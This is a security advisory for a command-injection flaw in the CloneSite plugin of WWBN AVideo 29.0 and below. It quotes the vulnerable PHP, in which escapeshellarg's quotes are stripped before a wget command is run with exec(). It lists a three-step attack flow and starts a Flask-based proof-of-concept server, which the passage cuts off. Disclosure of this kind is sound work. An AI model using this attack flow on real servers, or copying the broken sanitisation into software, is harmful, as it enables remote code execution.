WWBN AVideo is an open source video platform. In versions 29.0 and below, the `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection. An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to Remote Code Execution (RCE) on the server. Commit 473c609fc2defdea8b937b00e86ce88eba1f15bb contains a fix.

Affected: Packagist: wwbn/avideo

Description

## Summary

The `cloneServer.json.php` endpoint in the CloneSite plugin constructs shell commands using user-controlled input (`url` parameter) without proper sanitization. The input is directly concatenated into a `wget` command executed via `exec()`, allowing command injection.

An attacker can inject arbitrary shell commands by breaking out of the intended URL context using shell metacharacters (e.g., `;`). This leads to **Remote Code Execution (RCE)** on the server.

## Details

Inside `plugin/CloneSite/cloneClient.json.php`(line112) didn't have proper sanitization

```php $objClone->cloneSiteURL = str_replace("'", '', escapeshellarg($objClone->cloneSiteURL)); ```

use `str_replace ` make `'` added by `escapeshellarg` become ` ` so hacker can inject evil `cloneSiteURL` to rce

```php $sqlURL = "{$objClone->cloneSiteURL}videos/clones/{$json->sqlFile}"; \\116 $cmd = "wget -O {$sqlFile} {$sqlURL}"; \\117 exec($cmd . " 2>&1", $output, $return_val); \\119 ```

The attack flow

1. make a evil site to provide date

2. add evil url in `objects/pluginAddDataObject.json.php`

3. access `plugin/CloneSite/cloneClient.json.php` to trigger rce

## Poc

make a evil site use python like this

```python from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/', defaults={'path': ''}) @app.route('/<path:path>') def catch_all(path): print("PATH:", path)

return jsonify({ "error": False, "msg": "",…